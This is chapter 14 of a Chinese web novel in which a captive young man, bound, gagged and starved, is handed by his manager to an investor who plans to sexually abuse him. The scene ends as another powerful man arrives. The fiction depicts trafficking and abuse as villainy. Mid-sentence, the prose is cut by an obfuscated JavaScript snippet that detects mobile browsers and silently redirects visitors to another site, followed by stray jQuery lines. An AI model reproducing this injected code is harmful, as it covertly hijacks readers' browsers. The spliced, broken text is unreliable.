14.第 14 章
作品:《金丝雀他又狠又凶》 卫冕其实也并没有真的那么想把余恨交还给邱总,邱总只是他的退而求其次,如果可以和徐宴清扯上关系,谁会在意旁的人,徐宴清这三个字背后所代表的资本和资源是无法用具体数字去衡量的。
只要徐宴清愿意,转瞬之间平步青云也不过他一句话的事儿。
他睡了余恨这在卫冕看来就是一个很好的信号,没兴趣谁会跟一个不喜欢的人上床?可难点在于余恨不喜欢,甚至还为此打爆了徐宴清的头。
经过这么一遭之后徐宴清对余恨是个什么态度卫冕就没什么把握了,就此放弃他又不甘心,所以最后还是决定冒险试一试。
他给姚畅去了个电话:“姚助理,跟您说一声,余恨那小子我找到了,如今也带了回来,您看徐总是个什么意思?”
这有点问到姚畅了,她怎么可能知道徐宴清是什么意思?当初见徐宴清带着伤上班,姚畅忍了好几秒但最后还是没忍住问了一嘴,徐宴清的回答也就一句:被鹰啄了眼。
姚畅当时没再继续说什么,但心里却给这鹰点了个赞,说人狂妄的时候总爱说‘居然敢在太岁头上动土’,徐宴清纵然比不得太岁却也差不多了,姚畅跟了他这么久,还没见过他吃过亏。
后来知道是余恨的时候姚畅也没对徐宴清有什么同情心,她倒有点同情余恨那小孩儿,明眼人一看就知道那小孩儿不是徐宴清之前身边的那些人,如今被打了也是纯属活该。
但得罪徐宴清一般都不会有什么好下场,没有例外,姚畅以为余恨让徐宴清栽了这么大一跟头,总要讨回来的,但徐宴清却再也没提过这事儿,好像头上的伤根本不存在一般。
如今卫冕告知余恨被找了回来,听着是要给徐宴清出气的意思,但敢在徐宴清头上开一个洞,第二个洞也不是不可能,都风平浪静了,抓人小孩儿干嘛,赶紧放了得了。
但她是一个专业严谨对外不苟言笑的秘书,这话肯定是不能说出口的:“卫经理,我不是很明白你的意思,徐总就算曾经和余恨有什么也已经过去了,他们之间没有恩怨,你也不必挂心。”
“姚助要这么说的话我可就放心了。”卫冕在电话这端嘿嘿笑着:“我原本还担心来着,毕竟余恨这小孩儿之前也把邱总脑袋打破了,邱总问我要了好久的人,刚才还让人得到了消息,我原本寻思要是徐总想出这口气,一定让徐总先,既然徐总大度不计较,我也就没什么好为难的了,谢谢姚助了。”
卫冕说的其实也不全是假话,关于余恨回来的消息他早就告诉邱总了,比告诉姚畅还要早。
没办法,邱总什么都没得到还被打了脑袋,老婆都跟他闹了好几糟,卫冕作为牵线搭桥的人但凡有点什么不顺心就要被拉过去骂一顿,卫冕理亏在先,也只能受着。
今天不管徐宴清来不来,卫冕都是一定要把余恨交出去的,也算是给自己解决了一桩麻烦。徐宴清要是在意余恨来了最好,徐宴清完全有能力让邱总吃下这个哑巴亏,以后也不敢再说什么,要是不来,把人交出去也算一了百了,怎么都不亏。
如今该通知的消息通知到,至于结局走向卫冕并不是太担心。
邱总得到消息之后来得很快,到了卫冕的办公室就迫不及待:“人呢?不是说抓回来了,让他过来,我要带走。”
不确定徐宴清会不会来,卫冕断然不会过早将人给出去,他肯定会拖到不能再拖,确定徐宴清真的不会来再交人,否则也就白白浪费他设计了这么一出戏了。
“人是肯定带回来了,不然也不敢通知您过来一趟不是。”卫冕殷勤地起身,将邱总引到会客区坐下:“但您也知道,这小子太难训,我废了好大的力气才捉回来的,您看我这脸,被他揍了一拳到现在还肿着呢,屁股就不好意思给您看了,也肿着呢。”
余恨是个什么模样邱总是见识过的,卫冕的这些话他也没有什么怀疑,但也不那么在意,嗤笑了声:
“你把他给我,上次是我大意了,这次我肯定好好教教他,不出半个月,我就能让他脱胎换骨咯。”
不知想到什么,邱总很是暧昧地笑笑,让卫冕凑近小声跟他说了几句什么,饶是卫冕这样在圈里见过太多腌臜事儿的,也还是在闻言的一瞬有些心惊,可脸上表现出的却是赞赏:
“邱总您也太会玩了。”
“这算什么。”邱总很是享受对他这方面的赞扬,好像别人这么夸赞就证明自己很强一样,甚至已经开始有点手痒:“说这么多,人呢?我为了这小子都憋多久了。”
“这小子太闹腾。”卫冕尽可能的安抚他:“市区没地方关得住他,一个不小心这小子就能折腾到报了警,那就得不偿失了,不过您也放心,我已经通知让把人带过来了,用不了多久时间了,到时候您想怎么玩就怎么玩。”
或许卫冕说得在理,邱总也就没怎么计较,卫冕赔了好一会儿笑脸后开始试探性的询问邱总下部新剧投资,自己可以塞几个人进去。
邱总现在对余恨很有兴趣,虽说之前有点意外自己受了点伤,但余恨确实是个极品,卫冕又是余恨老板,基于这一点,邱总就不能真的什么都不给,这是圈里的规矩,邱总也没想吃白食:
“放心,亏不了你的,你要是实在不放心,我们可以签个合同。”
这话说出口卫冕就没什么不放心的了,有合同在就可以什么都不怕,笑着将邱总奉承的云里雾里,都快不知今夕是何年了。
之后又聊了能有半个小时,邱总本就不好的脾气再也忍不住了:“人在月球都该到了。”
“是是是。”卫冕也知道再拖不得,急忙起了身:“您坐,我这就打个电话去催催。”
卫冕出了办公室就找人过来:“徐总还没过来?”
“没有。”小弟开口:“我一直让人在公司门口等着呢,一有消息我这边马上知道,现在就是没过来。”
从他给姚畅打电话到现在,都快两个小时了,要是想过来怕是这个时间也该到了,就算人在外地到不了,电话也该打过来了,可都已经这个时间卫冕这边还一点消息也没有,除了不会过来不在乎卫冕也想不出别的什么理由了。
卫冕没想到徐宴清在睡过一次之后能割舍的这么彻底,不过也没什么奇怪的,男人嘛,得到了就不似从前这是本性。
可惜是可惜了点,但这个结局也不是不能接受。
“算了。”卫冕终于下定决心:“把人带到会客室吧,再拖下去我怕是连这个都要跑了,能抓住一个是一个,不亏。”
“好。”
余恨被带进会客室的时候即便不是五花大绑,却也已经是差不多的程度,双臂在身后捆着不能自由活动,连双脚都戴着半米左右的镣铐连限制走动,嘴巴也是被胶带缠上的。
他看起来比之前在宁安的时候又瘦了一些,脸上的气色连不好都谈不上,只能用糟糕来形容,他整个人是被两
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17047965|193569||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个人抬进来的,像扔个物件儿一样随手扔在了地上。
邱总好色到了极致,见到余恨被带过来,完全维持不住先前高高在上的姿态,立刻从沙发上起了身快走几步站在了余恨面前像评估一件商品般的仔细打量。
“瘦了点,但还是好看的,美人在骨不在皮,第一眼看到他的时候我就知道这是个难得的美人坯子。”邱总来来回回的在余恨身边走着:“我邱某人这辈子能养上这么一条狗也算是挺有成就感的一件事了。”
邱总眼里的得意遮掩不住,抬头看着卫冕的表情都带了笑:“我记住你了卫冕,以后不会少了你的好处的,给了我这么一个好玩具,不会让你吃亏的。”
卫冕要的就是这句话,闻言喜笑颜开地又是一顿夸赞,邱总享受这样的追捧是不假,可如今他有更感兴趣的事情,卫冕的这些话他就有些懒得听,甚至都觉得有点打扰到自己的兴致,摆摆手让他停下:
“人既然带来了,那我就收下了,三天后去我公司找我签合同,具体项目目前说不好,但我们可以签个意向书,放心,你老哥不会让你吃亏的。”
“没问题,邱总您这话就见外了,我一直都是信得过您的。人您先带走玩,等什么时候玩痛快了您再给我打电话,我随时过去。”
在卫冕和邱总的交谈中,余恨明明是最重要的那一个,却又被忽略的很彻底,他像个没有尊严,没有人格,没有生命的牲畜般被两人讨价还价。
或许是笃定这一次他再也不可能翻出掌心,所以两人连他即便被堵住嘴巴仍在奋力抵抗的呐喊也没人在意,连他快要将他们碎尸万段的眼神也自动忽略。
“脸色不太好,喂了药?”邱总让人将余恨扶着站起来,随口问了句卫冕。
“没有。”卫冕仍是笑呵呵的奉承:“这不是因为这小子太能闹腾吗?回来这三四天就没给他吃东西,现在怕是饿的发昏,就算是给他放了,也跑不了几步。”
“好好好。”邱总很满意的笑起来:“这样倒是省去了我不少的时间,回去可以直接玩了,不说了,我先回去了。”
“好,那我送您。”
邱总是迫不及待的,可余恨是死也绝不认输的,局面纵然看起来是板上钉钉没有更改的余地,可当邱总带来的人扯着他往门口拖去的时候他还是拼尽了力气抵抗,哪怕他已经发虚到双腿快要站不住,但对于似乎已经定死的命运余恨还是做不到认命。
他这样不识趣让邱总不太高兴,毕竟之前的那些玩物都是求他赏赐的,余恨这样像是瞧不起他,不给他面子,虽说他确实对这条烈犬敢兴趣,却也不会让他太过放肆,更何况人都已经是自己的,那么提前给点教训似乎也没什么不可以。
邱总走过去站在余恨面前,让搀扶着他的人扯住他的头发:
“既然做了狗就要有狗的规矩,我不介意提前教教你什么时候该做什么时候不该做什么事情。”
话刚落下邱总就扬起了手臂。
他许久没有这样了,只是给玩物一个耳光就已经兴奋到浑身的血液都在隐隐沸腾,那双恶狠狠地眼睛盯着自己,只会让他的征服欲更盛,邱总忍不住加重力道,要好好给他一个教训。
‘咚咚’耳光落下的前一秒,有人象征性敲了敲会客室的门打断了这个教训,大家随之看过去,只见徐宴清一身休闲装姿态懒散的倚靠在门口的位置笑看着众人:
“哇哦,好热闹。”

